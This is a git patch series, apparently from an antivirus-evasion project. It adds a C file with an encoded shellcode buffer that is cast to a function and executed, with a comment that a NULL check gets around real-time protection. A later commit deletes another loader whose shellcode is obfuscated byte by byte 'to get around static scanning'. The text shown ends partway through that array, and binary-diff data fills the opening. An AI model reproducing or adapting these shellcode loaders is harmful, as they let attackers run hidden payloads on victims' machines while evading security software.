zDvsT53=0)yQrzOXaZ!w&=V1~-!EW%l`pB?&o~I5~k1rbkz-v>gnXn~BG$3p0AXh+G z{QX*C0~E+6I$;Dl%v?OTA$MYCZWIz7u_*c<~&_J+*t|y z8{GRFg~Ufh5gV0^nmQ$=5k=DgTgtgq-@Fa@XEos!g%LdWejU86Z?Qemr`aUY5*jV}J+Byzu_4W*D@1+t+=N8YTTJscG3;p!HlDx~wh^^} zzB4yUoRK2tM6*iX(m^BijJ?P689!t8990Ytl{8;c z7%KYTaqu-KUj;f-TzL(8z8%5*IPXpTbLm^$SX#Ue5KGwC55wk3FY_{ z%IfuY;wsZ?%YP2ONXKnTw=JdnZ^hmyAQxANqg+^^wEB4v@aXwGusqNdst5Xire=q9 z<@)|lP1oli&-34#e)_x8^H_2@W#s8K)c-F1f{9Z9_$$BvY5Sw)GEo0}G+b$t>LWc< zLhT+2ANBh?t__vyLmwvL2t?rZc^4hBVO;&hu!i*Ctm{Yq$KspicB69sn+x!-jv(!% z{kZ?7BvgNS{HwG0r*@2(6&V#hdrr*UdGliz#Kjw*!=-NFqQ%Ke@K-i|1PvcCa@6QC zy5O--g^YW8ynaIH#IQ+|r-V=Cf6o3td_1m4NMX`R|7EvO{hzFq|K;68VJGkKDz#1y zZpax{E?L=;8Y}Otq-5qwxZ-{5ZLVpTr-)bp|2^5KvsIG$AO2r)R|?V+?)X>w2a*4W z@IRV$A*(g}DXS)H`d_ENJX4G@0e^FyaQfNPDmL@$_Yo*+01a zuL@B7&0+V*(TEQDB>DA?A2J^|EuEpt#b*q7XeAl6vctcC)v&pB*y+Z$J00m*sR%jJ zF)U_oqRN;MKLkC6ajKEyC#n`;W!<}JQ)euZ#AEQ7#$UY9 zb^e>ObbWf>=H()v_vSL-uVHbUCEP@OuE;~@M#k_sl*~VXeiVKet!d1jd(qn<8*Qu; zbFp)4E1qmmDKwSeFII}WxQ-TeEK>0ZqIk&2Qb6scFg!iDLXJdnVUQA$fqPPj7|DnM z=EpT7HXh&$4FeOOk>o)Q52Xr!du$l+cRKtV=JTj~Z}DCT?p5%GH+SUcK<6R*s!$sF z+0y;IYzPn+>J1m}2-4!8{0!y<9|Wi&T_N(18>sxy;;~ct*~?)(zyRU-bN>d1mZ!&` zw?vp&Cq^jT?~!55{Sf-(_%EmdUD`g~x^PF`x)`NyozY9TE?E`4>fpVQv}2?Cn{{cm z!T0uz4zPDxcrz%?9GrIO6Ndhgs<>y?-P<#C@3QOT(oP4b)dw~Eut)!6y0inqH*1^i zcI_9`sH)MC73VOWq`csK@8F7q;-6^tghcMq-8(R1y}dFhwNdcBy(3b4Ds`)VRV@5W zmo~%4k>?ldqtvA(`FQElmiegm9zJ|nw+KJ^_9K7n1V&VJuOUFxrf_b4}56U$~ zx8kx2wW3R_3rahs+YsiXLY35HW2POM_N8t^h>t2H?SL-rWQ`hGhius5!@c{XHm56t z(-OUc(|(+}_po-NZq;Q~nrCc#*bW9&^07K{L$LOq=QKBHX-y}>pi8SBm9}RT&fA?= zcU4Vy^a$7n!4{IXSGU2lFZbHebl`COm2N7Z=Z~XSSM5_xm+Eqvk7G#M!ErB{lU#IZ ze>D5>^We0qt3~{r9D~#L?ENq3Ur&B~!eB?R{Jg*T4v2gmldmg04W1UgvvB|Y1V7}j;<+K9}4}9f%Pcf%?s(#3~ zH`eZbu58wbXYRCn@6(Ch@-Cj#Eb-VidL#_f5yIOPlX%KjZg_Z=U+>^tM;;beYrbUaPeO4@I3ET(Q)pYSY{CM^0YI zHYVr;zZm#Mf$jX&jstpCT$#9i&bjhI&p9vZ?AiJB;LWKc3OrcCL4x)#Of#;-cZI4_f`2xwrrM zq~S?urbp88YWsm1o=S}HB?w^?_0YSsC= zH_KG7Us|4eX-USQ=l6cP{>#tW1V81zXNPCBW5=N@>f>ql@Qxm-MO54kOzaN}D{?%?7n|)H-kC}TdE+c81DNKLy zWT@|!OQ#R)aT)EO@s(bi-XUSe9*gOPiO;WZ|IMUDsf`nlJU?XZTd$q`V~xvL|JN^0 zJ9hHj3+=myy+0%`dEk3a$LUI#l~Oj&c3mJ)8eJUDRYu%R-CzXt8ecYIwcxEzBhaJM8B;%VdD#fR{Zkn)E|Ca z`1INvw*DTM&KgFKRYsnz9sX|K031|q2qaLz@@jJ?f>Uh>((Hv(6uo0)lbr0 zToc-!U3cfi3$;VHul&ez@p9%{yNCVI`0dbuwl6Q3GAK5nd*+8bccdLXW@t9*=c&)w z>~F18E&r{m@j-XV}5C2>> zs}Q?kC%h zjlX3JbuH`liCde^U#$&V@3H2Y#T^Elbm|t15)-#ayzBhOJBwZv_S`vm`MTe{D|@JS5HLcc#f9rfWI{xry=Rdo4Wy+4Fi~mf?duQ6nroWG4 zr+PfC`{m{jPfxJwPA{(h&Z$|e9)}&yjv3yf?8|P?$LxOh$drxS@4a38bNuIHH%ILV zZu7#%T{%Jh@2$xzKJ-rXN4I?59b9j4*;oJl2g^n|8`m{jx+?UQrujYMdOd$8dd<(P zTQ5(4Va$==zW&iIV_0(8DBXrpdxnoK^ zL%CB!H_Yqw&e8XqOg~&w=eTBsQ?YSJ7Y9${oK-z{{BSw@-N~jn?_Yn6I}j1|_QrEZ z)+U=rmJKRyp^wyQUgzF;7JWUsevao@T3Nw)WDM(cv1sTYT!u?JgI>vHSnYc z{(UttZFF+vl6i5u*w`s!M#U_dI%QsB_@afniN>iTXV00W(~XZ^GU+*8h;CM5(7!K( zC$avyYCy@@yAU;=MKb{h;(7Ry&;x*LAz{$@GxC=pG0-mqn>OeBcm8vo#*@!LVRNU?4(|i@e77TBrfQ^sIRXI?~~7+jmpjHrAA zlaS~|(Xse;3jPoDjYtfRTNFP(I>A@9aBfg!Bz8y$^qn0Mn;7k@>T^GxVSWBOmtlP# zD$}q&_fHPdhxL)`4djuwcpQzP?+?qi-kPAvvGH@}M$U}p+mdJ#lcKa*7$55=ehubf z$H)04VQYbzb5Z$7>2Y>^V`k?4@6J$;f8`g!w+^{qs>he>(X{xv{bhRm+cq=tZJU|W zw{03E&7=Lt56r15$ZhPK9smp{o$o)D1>yUtR|5Zp)Ie8be&u^zU4zb%?`Oq*I98F) z@f3uo$+zw1dvwv==~;C2<>tAY>5I}n~G!?mClg!_8|Qz2?>G0yR02+wO5@T*REkq6-x zU~p%~W6?IKM@Zozz!?x; zha4A@o(#M+lCdpF=Q8jvg!`~j*v}Wj^9rXhokBf*SbOUfJLa|s0`ns<#-a1Q6hDZ>9_`S#1J6Ks88}`iT@}Tc2ExO& zz^SCq0Je#i=9#v@NC@}g`?jnhJsr4sHrBOBKN+|rhB17slPv=VV$bQ@(6vDKdFT(l z?3f3zb3FPObRS@g1hh2|2Tn+o`ezvM%_K?B0QOwWSPs(RmyP`V9)0v z@Y%i$+pxVLg%1P9LU{di3{AoLqnu&DpcR-y;Xe|17{cf0)RpL~t1$nyQFo2H;Xi1@shP9;6a_1@I=s480yWaXtD3^cg_sH0;I$ z-4)m!QU$#ya60KTfY}gU{u1Drm!*8KZD4HpMyWg_fl&~#4**w_&hapWpH~gA!z+?L z5|{|#{wYBBJhW+V^jqM??HDi6YkVfLdFh3w2j2xBcnDGh{V;IAUMU?da6W{`O#+rf!uy~P0DpxngMJyf4;4cs!ei_*MJ1O6`z`+on*Dzou!~%bg z-%@xr@DhZV^D^-B@1^-_AF%lkQd|$<4AMDfk)8wmh4jn7z_U_0wZKdWujd?KidCvB zjur?%7mkW^7-J}pJ#Z9+ms1D)<~+k96yN&-Uik_4N}$_-Yc8TcLr(?T{Vb)U1g1a? z2E zF6C7LTzVCK2;s|sjj!XkK|i!3@X!skBlN?-;G0t15a1aIpEo#u_6PEUj~Te~7Um!5 ztAWFAOb^>|~uu~&^V+GeZAK+UMF->5ey#g;uV;%r{G)7#EFOIPg-liOr9I#h5eEjiU zf+Fmj&Cl@!(Ai1y_XnPV@H9EVQ!Y?r#LzAUrRQJ+a3) z_vg4DG7{-j0SmD2cnmKmu(2D`f$j)g3E^>91CK&@om2zeo8cU=uJ!<~$KK=V@P8Q? z=#I3YYk?^c?$7ZogqOz##EYiP!hL|hL-<^315Rq8VATi@2R8SR^7Q}?^+Y-d9|nxa ze&bwkxYsz}gS<~`)Cu+>=Qs{B47wgT2g38+4!lCT4Y&;ZkB7mBW7D<@76M%fw5qVb zHgt~XJ1W=(=of%@I!QXVfn`P?v^BmZ#&LQV^cDEb01ouSxkC>CdUVHk+Tf!Ce%S|Y z2K_KFS}mQI5qK5C+u|Bmhgx3SdrPvR=0&y+CcGwSmA9Vf=m~SBbca05L2Qfld;=6h+ zA<5ABcZT>kgDhxwj{N&M_0T!;Z{gI#ha>;4O8~|KNB&J0?$42bSB8gk!Mc$n z|85A^Ir8rmaDR^cn;u-}$iKzGb&h<$ey(%m-*DhMNB$iIu5;wy7vMTazDGaTIr2UD zxz3UAv(I&oeBXSobL9K0bDbmKbDrxQ`F`zO=jepJ)Va?0ROjCsna=%ZomJp zxWCT70f40*tI4uu)n~D6$84``RkmNYIy)d+n;o8Q$d1W2W+!K-WT$4EvJ0{+vMt%w z+1BiuY+H7Hwlc>nN0sB3qs|G)sm`m(tIu=H_saLn56IW$hv&!SC+DZ;XXF>;SLRpc zSLfH{*XKJHcop~+1Qh5B!V6*wk_%D`G71U`DhsL#stalg>I)nTy$byb0}6G8;e|1U z$%Uzf8HELfm4#J>)rB>M^@WZ_UPXRI0Y$o^@S>QaY|#W`Xa|- zuVTOAfMQ*7cyUZ|a&c;LMsYzgPEfC4Sn@DKR!o*L>%YGQmBm%X)x|Z%^~H`QUL}4d z0VTSU@RFF4XMq0`Vz-duTsC#fKpv)cxg;&a%pO5MrlE5WocDu zb!km$eW_!aSD9Z~K$)&Ayey_Hxh%CTqpYB;vaG7Cx~!(GzRa=QtK6?Vpj=lTULI4P zT%KBFjbnWOx30u zQ@zPC(<{?2Gayr!8J-!FnVgxLnUPtLS(#atS)EyvS)b{c<(1`^6_BON3P-IbXQgIk zWEEspW>sZXV{g3rEJySuKlCFV`cVw}P-=DtdQfF{6?#w&dXFP|j~{xDE+;%ECMP*3 zH76sdAg3~?DyKT9CZ|5fG1n{CFE=1pmm8iNlbf8InwybZkXxBsm0O)#lUtwbnCF$} zmlu$y%L~sl7}O9ic)i_rPNw#D`jQMGF6$nOk1WeGn5(2Qp(cHOl1{i z<}yo}waiw=%9Z7+a&@`3TwiV|H+N7DXSvOoMp+fVqRg{O3W#0%qM!xCq~RA>6l9@vdx%Fte8hw zjuNwoI!BwM&oSf}b5e5BbNB`~sl2OV6sKSm>rhAGsHOk*I!ed-`+uO0)R^P6MabBU z@AqKdlG-K)t&@!QNkt1~V60YPw3;zqEf}#@8nG&jSv5wj7UNcrk!!%%HDdIpVEm?I z1e-91D=>=97{?ZjWGlw94WpT5IielC(2{;=%K)^d4(%C^7UeT$GFmlNY}W#`Y$e*Z z3awj>_I+^WP(F0+(4n;-zJ8=*{7cu6O0<2|Lst?rt`HVnBdoYe*l?X-1&$bi>poyzPJg zyvpz!5o4D96V9uqoQfQCjwQ#MW6NQ=%3M{hI#-*k&o$&4b5nBDb4|Gwx#nC;t~J+| z%kq?Ysyua`Hc$T_xW1wul+w4=YjDMK#9E~Ss}*w@!u7bH1u$Us(QsZfiK~zY^I8qA uL0Zf{1(-}@c#h#@QX5U-1e==j1np~|0`r|Ng7}qH9 z{aQpYpi^HlODR{&;ea(l(DPmj$R9zPW@V+*Gck}c!UZ4nH5PooY5oWTe*f7PRq!Cs zc1bGx(DAZR^1`@YeH5MuWPzIdMX#~Vjp}vjQ3>c(NhA1|tessPA4Tthw-YYQ0 zouwU3h>oBv%n?uK=bqTqRNyJ^oIP-3#0Tu(E=P>G8Kz;xO;F@&O$bO^>q9l!Y+a_n zC@6XXlOfKOKgGo$H5EuHD{kt${F0fH+6T-GxOrqcr{2kh@ufk^Hbj|Z1(!>oYKLMt zjgXsW1&bBnW@?#j8UBl9m{M~%FlS0l;Z*N0R%_llwgESR5Ws@HA6c!|<1o;7f0wBd zw?L9|w0Vo5y}=YAZA;N0buEyZfG-Jd=HzVv3IlG*Yhu`9u^4brQ4p$SBy1Z!0P4=f z2V}Ic$f)S&A+dj*40gc~H^8ZPoy543dk?0@X|!jhFSAKC7caW=6rh>P$4=Y zb8jk02*md|cq^R zaO&(&VE-%&+ZYUJY-zbQ&kovHIvq|jjJhEZ_|;dN>VD0H#&rYSlPfHBL6?6akF$&N&-( zW&m8HTUZ7f73fT0oO=rPfvZapwOt?Z4(Htb$dUCNZ#sS4t`DKJd~uxLicYBWyvLx{ zfL!VGYcb+Oo51r3_ITac`F2VE3GnV)HA6`Ve#hI680#;PHNw zsj!FTF;#u!&4A@GeHb=K*U8lB)ivV4sxeb6dLbtYh5>J*8XPGZJxa1qLK3VT4}`h| zbvTu$r4Wuz2L?vGhjHQzBUjsV*Zl{23wt~QYw0cQ@ji41N$3U#6naB7<1gMxev>t}Gr&Vt+V2uN$09+Zi?Ps5E6-k{-T2*0M`RtTGExC6p^8t#Fx zl7{5~+S*Ic=X3i1^53Yy!@w@LmhdKbzVN{1n1G|A@5-d&w;uHSMkw=!w-e0%@LRl5 z7bZR9Px3JmL47$#tlYWi{zl*}k05tQAfIq#|J7?zbBEy?ST%nm2q(;yrKutnXYZ zTQH$zb(*ng#t#+eg1tJTJn(+wiIjhQKJ}7z_vxftuSV&wMDV_-=w?`cwCCke^#;Jwr?UzgE-q`u&!Rh1XFfx7^w_|4c>i(iqQRw;o zImD919aLtIEXBE*$SY8b?(AFJ8oF`o1Hrlu`R&_o?G~%gNp&a=Vibq0y0v+QpYLB8{`dSlsp)et*XH z2MJ$~k$Ob<-EoxfHWfd+p2|%f6ZT|^*xZ%*v)fk>T6_fGlgm~=-i!U^Z&>8`Oo>8s5CZ{gZ~BCC=32{V>&kJ&1C7+qmO)2o*^ADQs| z{?qOT{=JEMq3`RNPdz+iFP0FGa&|eeTtj=WWs1t{G91dz`bcNymv3IG4;u8#>lr>e zt#(W4pV2_Z8hnpQ?_@7qgB@{5qw&*1Y7(K|@`QXU>tgljhti zqBdS%pXho(8_c*m>BJ+M7i;R?MR=jGeRQ4qU_hh?IdSb%vwhE}`xec~+xyk^FB~$1 z*0~>B?>ojJbxqxl`()t#tjd8c3ziw3S})F7&>9zHZ`$5$`HjO&daj#{UP#?P3{pc^_TC?i3K^y7b~Y%OKNaS?L6sosFcal_@EJ%T{NlkZDkxN~UI$Y9uv#C6NWqQ{^Le|7v{D$NzHU zVtkQ=t0MVg0_6!XLM1{~Dg{Og6mqVFl%t4($43=P1u7s&u~4Gm%lQhv2<37KJ|@9L z5){EujEC{XC`NFVLR2gk2t^7WCRg!LzCyuOi4nPgi^(OVLL}jlJcUpxSE2&3oKy(- zDomvmC=jk#MG~k=DV7UF0=Sd}bbL8VC`AGZLCO)agjDeaJVJyKVhL9y5z9p?rASVo zVm`^kgd~Cz3XF#;_zIyyKqz@4k%-3^iukBXp_1^$DglxlNrX$^UlNYv!Kz>~C^+c- zRe|yG_?omp^(s}CYL!Mq1O_ApE=o_0R|RFt5D_X6@)SxD2vC7yaxp5Bh?GhcRbm36 MQY4Z5*BqID0;SH|r2qf` literal 0 HcmV?d00001 diff --git a/testings/yip_yop.c b/testings/yip_yop.c new file mode 100644 index 000000000000..5be70b926d89 --- /dev/null +++ b/testings/yip_yop.c @@ -0,0 +1,75 @@ +unsigned char buf[] = +"\x56\x50\x52\x57\xda\xd9\xd9\x74\x24\xf4\x5a\x57\x50\x58" +"\x5f\x29\xf6\x57\x50\x58\x5f\x81\xee\x34\xff\xff\xff\xbf" +"\xef\xee\xad\x38\x31\x7a\x2d\x83\xea\xfc\x47\x4f\x90\xff" +"\xce\x75\xf3\x5f\x5a\x58\x5e\xbd\xbe\xfb\x69\x35\x2f\x74" +"\x4c\xcb\x1a\xf4\x7a\xa5\xc7\x7f\xa8\x7f\x7e\x3d\xb9\x05" +"\xae\x52\xc7\x10\x56\x39\x3d\xa0\xc3\x9c\x79\xc3\xaf\xec" +"\x79\xae\xae\xe5\xbb\x2d\x11\xd8\xca\xb6\xb0\xf5\x62\x2c" +"\xbd\xb3\x47\xa1\x3a\x3b\x61\x5f\x1f\xb8\x43\x25\x7b\xd3" +"\xe3\x2a\xbc\xbd\x4c\xfa\x05\xaf\xea\x84\x14\x5b\xbc\x74" +"\x87\x07\x24\x31\xc6\x61\xd7\x7f\xbc\xbd\x85\xf8\x05\xe3" +"\x60\x89\xb1\xbb\x4b\x24\x15\xbb\x2b\xce\x99\x24\xa0\xea" +"\x66\x19\x26\xc9\x1d\xc4\x8f\xce\x10\xb7\x21\x1f\xac\xb4" +"\x86\x61\xbd\x55\xd8\xdd\x73\x85\x48\xd9\x6e\x6e\xbe\x9a" +"\x12\xb5\xe9\x1d\xac\xec\x0c\x6c\x1a\xb7\x27\xc1\xb3\xff" +"\x1e\xa4\x39\x77\x91\x82\xc7\x5a\x16\xa4\xb5\xf0\x12\xdf" +"\x23\x3e\xd8\x66\x73\x2f\xa0\x90\x1c\x51\xb7\x4f\x94\xb3" +"\x94\x22\xd2\xe0\x65\xb0\xa5\xe8\x0e\xa6\xbb\x51\x80\x83" +"\x10\xf4\x16\xaf\xbb\x89\x06\x78\x61\x03\x84\xf3\x43\xfd" +"\xa1\x71\x61\x8b\x0f\x74\x06\x19\x06\x7a\x6f\x82\xd4\xc2" +"\x44\x26\xaa\xd5\x89\x35\x1e\x16\x6c\xe8\x26\x04\xb4\x1a" +"\x51\x78\x6d\x49\xd6\xea\xc8\xac\xa7\x74\x6d\x82\x0d\x94" +"\x2c\xb6\x58\x1f\x9c\x3c\x7a\xe2\x88\xbe\x9e\x56\xec\xcc" +"\xce\x56\xec\x75\x9e\x47\x94\x65\xf1\x39\x83\x5f\xac\x8d" +"\xe9\x79\x3f\x95\x51\x66\xcd\xc2\xff\x23\xff\x45\xbc\x1a" +"\x7b\x34\x22\xbe\x56\x9c\x88\xff\xcc\x09\x04\x7f\x42\x2e" +"\xfa\x5a\xc2\x09\x8f\xf7\xc0\x73\x28\xfd\xca\x03\x85\x2f" +"\x75\xd7\x21\x51\x64\xe5\x8d\x0d\x85\x5c\xef\xd7\xb5\xd9" +"\x1f\xaa\x18\x99\xed\x2d\x5d\xa5\xab\x5c\xc0\x05\x87\xf0" +"\x9f\xa9\x96\xfa\x11\x19\x19\xdc\xec\x0d\x9a\x38\x58\x69" +"\xf1\x68\x58\x69\x50\x38\x49\x11\x5a\x57\x37\x06\x7f\x35" +"\x2c\x38\x3a\x99\xb2\xd4\x82\xea\x8a\xbb\x97\xf7\x4b\x39" +"\x3f\xdd\x3a\xa3\x9e\xf0\x97\x32\x75\x39\x60\xbe\xfd\xb0" +"\x46\x40\xd0\x37\x70\x2e\x65\x20\x03\xa4\x75\x3b\x68\x3d" +"\xa5\x81\x95\x9b\xdb\x96\x8b\xb0\x2d\x77\xd6\x55\x6a\x44" +"\xb1\x8a\xd8\xea\xf0\x57\xdb\xa1\x47\x97\x7e\x31\x6b\x3a" +"\x0c\x88\xa3\x80\xf0\x60\x4c\xb1\x22\xe9\xc9\xe4\x7b\x32" +"\x1c\x0b\xa2\x6c\xa7\xd2\xe4\x51\xd3\x0b\x82\x48\x23\x37" +"\xba\x46\x1d\x40\x5c\x5c\x4d\xfc\xf2\x4c\x0c\x41\x3f\x6d" +"\x2d\x47\xb9\x15\xc3\xd2\x7b\x32\x3c\xd7\x7b\x22\x10\x81" +"\x20\xeb\x6c\xf8\x75\xa0\x58\xcc\xf1\xb0\xa7\xc8\xe8\x30" +"\xa7\xd8\xd0\x61\xff\x05\x39\x14\x10\xb1\x0f\x29\xa7\xb4" +"\x7b\x61\xfa\xb1\x30\xcc\xed\x4f\xfd\x61\xeb\xb8\x10\x15" +"\xd8\x83\x8d\x98\x17\xfd\xd4\x15\xcc\xd8\x7b\x38\x08\x81" +"\x23\x06\xa7\x8c\xbb\xeb\x74\x9c\xf1\xb3\xa7\x84\x7b\x61" +"\xfc\x09\xb4\x44\x08\xdb\xab\x01\x75\xda\xa1\x9f\xcc\xd8" +"\xaf\x3a\xa7\x92\x19\xe0\xd3\x7f\x0f\x3d\x44\xb3\xc2\x60" +"\x2c\xe8\x87\x13\x1e\xdf\xa4\x08\x60\xf7\xd6\x67\xa5\x68" +"\x0f\xb0\x94\x10\xf1\x60\x2c\xa9\x34\x34\x7c\xe8\xd9\xe0" +"\x47\x80\x0f\xb5\x46\x8a\x98\xa0\x84\x81\xc1\x08\x2e\x80" +"\xe1\x3c\xa5\x66\xa0\x30\x7c\xd0\xb0\x30\x6c\xd0\x98\x8a" +"\x23\x5f\x10\x9f\xf9\x17\x9a\x70\x7a\xd7\x98\xf9\x89\xf4" +"\x91\x9f\xf9\x05\x30\x14\x26\x7f\xbe\x68\x59\x6c\x18\x07" +"\x2c\x80\xf0\x0a\x2c\xea\xf4\x36\x7b\xe8\xf2\xb9\xe4\xdf" +"\x0f\xb5\xaf\x78\xf0\x1e\x1a\x0b\xc6\x0a\x6c\xe8\xf0\x70" +"\x2c\x80\xa6\x0a\x2c\xe8\xa8\xc4\x7f\x65\x0f\xb5\xbf\xd3" +"\x9a\x60\x7a\xd3\xa7\x08\x2e\x59\x38\x3f\xd3\x55\x73\x98" +"\x2c\xfd\xd8\x38\x44\x80\xb0\x60\x2c\xea\xf0\x30\x44\x8b" +"\xdf\x6f\x1c\x7f\x25\x37\x44\xf5\x9e\x2d\x4d\x7f\x25\x3e" +"\x72\x7f\xfc\x44\x23\x05\x80\x9f\xd3\x7f\x19\xfb\xd3\x7f" +"\x0f\x61\xef\xa9\x36\x15\xed\x43\x4b\x90\x99\x22\xa6\x0a" +"\x2c\xd3\x0f\xb5\x2c\x80\x24\x69\x32\xf9\xc0\xa8\x9b\x5a" +"\x7c\xe5\x0e\x2a\x37\xae\x48\xf6\xeb\xe2\x15"; + +int main(int ac, char**av) +{ + LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040); + HANDLE proc = OpenProcess(0x1F0FFF, false, 4); + // Checking NULL allows us to get around Real-time protection + if (proc == NULL) { + void (*func)(); + func = (void (*)()) buf; + (void)(*func)(); + } +} From 63e9afc9dd0a854abd05ab63094e314750614085 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Mon, 23 Jan 2023 20:25:45 +0100 Subject: [PATCH 02/22] Pushing init of evasion --- OK.c | 941 --------------------- OK.exe | Bin 108984 -> 0 bytes VYIPqkISsoacGs.c | 1302 ------------------------------ modules/encoders/x64/xor_poly.rb | 197 ----- testings/LLZEbwW.exe | Bin 169472 -> 0 bytes testings/VsbYynxH.exe | Bin 4096 -> 0 bytes testings/yip_yop.c | 75 -- 7 files changed, 2515 deletions(-) delete mode 100644 OK.c delete mode 100755 OK.exe delete mode 100644 VYIPqkISsoacGs.c delete mode 100644 modules/encoders/x64/xor_poly.rb delete mode 100644 testings/LLZEbwW.exe delete mode 100644 testings/VsbYynxH.exe delete mode 100644 testings/yip_yop.c diff --git a/OK.c b/OK.c deleted file mode 100644 index b930d8451681..000000000000 --- a/OK.c +++ /dev/null @@ -1,941 +0,0 @@ - -#include - -// The encrypted code allows us to get around static scanning -#define MEM 10000000 - -int size = 908; -char *buf[908]; - -int main() { - buf[0] = '\x1be'-399; - buf[1] = '\x258'-399; - buf[2] = '\x21a'-399; - buf[3] = '\x27a'-399; - buf[4] = '\x1b6'-399; - buf[5] = '\x246'-399; - buf[6] = '\x1c2'-399; - buf[7] = '\x1a9'-399; - buf[8] = '\x240'-399; - buf[9] = '\x1bf'-399; - buf[10] = '\x1ca'-399; - buf[11] = '\x19d'-399; - buf[12] = '\x21d'-399; - buf[13] = '\x21b'-399; - buf[14] = '\x1c0'-399; - buf[15] = '\x217'-399; - buf[16] = '\x1b4'-399; - buf[17] = '\x234'-399; - buf[18] = '\x239'-399; - buf[19] = '\x1e5'-399; - buf[20] = '\x1b3'-399; - buf[21] = '\x190'-399; - buf[22] = '\x209'-399; - buf[23] = '\x1fd'-399; - buf[24] = '\x28a'-399; - buf[25] = '\x1c3'-399; - buf[26] = '\x1dc'-399; - buf[27] = '\x284'-399; - buf[28] = '\x247'-399; - buf[29] = '\x26e'-399; - buf[30] = '\x22c'-399; - buf[31] = '\x1db'-399; - buf[32] = '\x21b'-399; - buf[33] = '\x193'-399; - buf[34] = '\x1e0'-399; - buf[35] = '\x253'-399; - buf[36] = '\x21c'-399; - buf[37] = '\x1e7'-399; - buf[38] = '\x1af'-399; - buf[39] = '\x1ac'-399; - buf[40] = '\x1d1'-399; - buf[41] = '\x1d7'-399; - buf[42] = '\x1fb'-399; - buf[43] = '\x191'-399; - buf[44] = '\x190'-399; - buf[45] = '\x25a'-399; - buf[46] = '\x23f'-399; - buf[47] = '\x244'-399; - buf[48] = '\x1df'-399; - buf[49] = '\x22c'-399; - buf[50] = '\x238'-399; - buf[51] = '\x19d'-399; - buf[52] = '\x1f7'-399; - buf[53] = '\x274'-399; - buf[54] = '\x275'-399; - buf[55] = '\x1e4'-399; - buf[56] = '\x235'-399; - buf[57] = '\x1eb'-399; - buf[58] = '\x251'-399; - buf[59] = '\x245'-399; - buf[60] = '\x1de'-399; - buf[61] = '\x21e'-399; - buf[62] = '\x273'-399; - buf[63] = '\x28a'-399; - buf[64] = '\x23f'-399; - buf[65] = '\x23b'-399; - buf[66] = '\x1c1'-399; - buf[67] = '\x228'-399; - buf[68] = '\x20d'-399; - buf[69] = '\x203'-399; - buf[70] = '\x1f2'-399; - buf[71] = '\x22d'-399; - buf[72] = '\x199'-399; - buf[73] = '\x1f0'-399; - buf[74] = '\x25c'-399; - buf[75] = '\x211'-399; - buf[76] = '\x1d9'-399; - buf[77] = '\x19e'-399; - buf[78] = '\x1d2'-399; - buf[79] = '\x1ab'-399; - buf[80] = '\x1b3'-399; - buf[81] = '\x1aa'-399; - buf[82] = '\x26e'-399; - buf[83] = '\x283'-399; - buf[84] = '\x1ac'-399; - buf[85] = '\x1f0'-399; - buf[86] = '\x244'-399; - buf[87] = '\x289'-399; - buf[88] = '\x196'-399; - buf[89] = '\x1a9'-399; - buf[90] = '\x19a'-399; - buf[91] = '\x26c'-399; - buf[92] = '\x1d8'-399; - buf[93] = '\x219'-399; - buf[94] = '\x1f3'-399; - buf[95] = '\x233'-399; - buf[96] = '\x26f'-399; - buf[97] = '\x28e'-399; - buf[98] = '\x1cc'-399; - buf[99] = '\x233'-399; - buf[100] = '\x199'-399; - buf[101] = '\x1a7'-399; - buf[102] = '\x214'-399; - buf[103] = '\x210'-399; - buf[104] = '\x1d4'-399; - buf[105] = '\x23e'-399; - buf[106] = '\x1a6'-399; - buf[107] = '\x1b6'-399; - buf[108] = '\x227'-399; - buf[109] = '\x23e'-399; - buf[110] = '\x26d'-399; - buf[111] = '\x235'-399; - buf[112] = '\x23d'-399; - buf[113] = '\x1c8'-399; - buf[114] = '\x28b'-399; - buf[115] = '\x21c'-399; - buf[116] = '\x1bb'-399; - buf[117] = '\x1f6'-399; - buf[118] = '\x24f'-399; - buf[119] = '\x22c'-399; - buf[120] = '\x1c3'-399; - buf[121] = '\x1cd'-399; - buf[122] = '\x25d'-399; - buf[123] = '\x22c'-399; - buf[124] = '\x1cc'-399; - buf[125] = '\x271'-399; - buf[126] = '\x1ab'-399; - buf[127] = '\x27d'-399; - buf[128] = '\x1e2'-399; - buf[129] = '\x1dd'-399; - buf[130] = '\x214'-399; - buf[131] = '\x1ca'-399; - buf[132] = '\x265'-399; - buf[133] = '\x22c'-399; - buf[134] = '\x265'-399; - buf[135] = '\x267'-399; - buf[136] = '\x219'-399; - buf[137] = '\x218'-399; - buf[138] = '\x264'-399; - buf[139] = '\x24d'-399; - buf[140] = '\x1a8'-399; - buf[141] = '\x1e4'-399; - buf[142] = '\x28d'-399; - buf[143] = '\x1b2'-399; - buf[144] = '\x1d6'-399; - buf[145] = '\x288'-399; - buf[146] = '\x285'-399; - buf[147] = '\x23b'-399; - buf[148] = '\x227'-399; - buf[149] = '\x1da'-399; - buf[150] = '\x1bd'-399; - buf[151] = '\x230'-399; - buf[152] = '\x247'-399; - buf[153] = '\x228'-399; - buf[154] = '\x1eb'-399; - buf[155] = '\x200'-399; - buf[156] = '\x24e'-399; - buf[157] = '\x27a'-399; - buf[158] = '\x255'-399; - buf[159] = '\x288'-399; - buf[160] = '\x1aa'-399; - buf[161] = '\x1dd'-399; - buf[162] = '\x191'-399; - buf[163] = '\x259'-399; - buf[164] = '\x26b'-399; - buf[165] = '\x27a'-399; - buf[166] = '\x1b9'-399; - buf[167] = '\x25d'-399; - buf[168] = '\x240'-399; - buf[169] = '\x1cc'-399; - buf[170] = '\x1d8'-399; - buf[171] = '\x215'-399; - buf[172] = '\x193'-399; - buf[173] = '\x28b'-399; - buf[174] = '\x242'-399; - buf[175] = '\x201'-399; - buf[176] = '\x1a9'-399; - buf[177] = '\x282'-399; - buf[178] = '\x1af'-399; - buf[179] = '\x25b'-399; - buf[180] = '\x197'-399; - buf[181] = '\x213'-399; - buf[182] = '\x1e1'-399; - buf[183] = '\x1b1'-399; - buf[184] = '\x23f'-399; - buf[185] = '\x22f'-399; - buf[186] = '\x217'-399; - buf[187] = '\x209'-399; - buf[188] = '\x1fb'-399; - buf[189] = '\x1d1'-399; - buf[190] = '\x1a4'-399; - buf[191] = '\x25c'-399; - buf[192] = '\x282'-399; - buf[193] = '\x1fa'-399; - buf[194] = '\x1a9'-399; - buf[195] = '\x1c9'-399; - buf[196] = '\x22b'-399; - buf[197] = '\x1c1'-399; - buf[198] = '\x20b'-399; - buf[199] = '\x216'-399; - buf[200] = '\x1a3'-399; - buf[201] = '\x207'-399; - buf[202] = '\x225'-399; - buf[203] = '\x267'-399; - buf[204] = 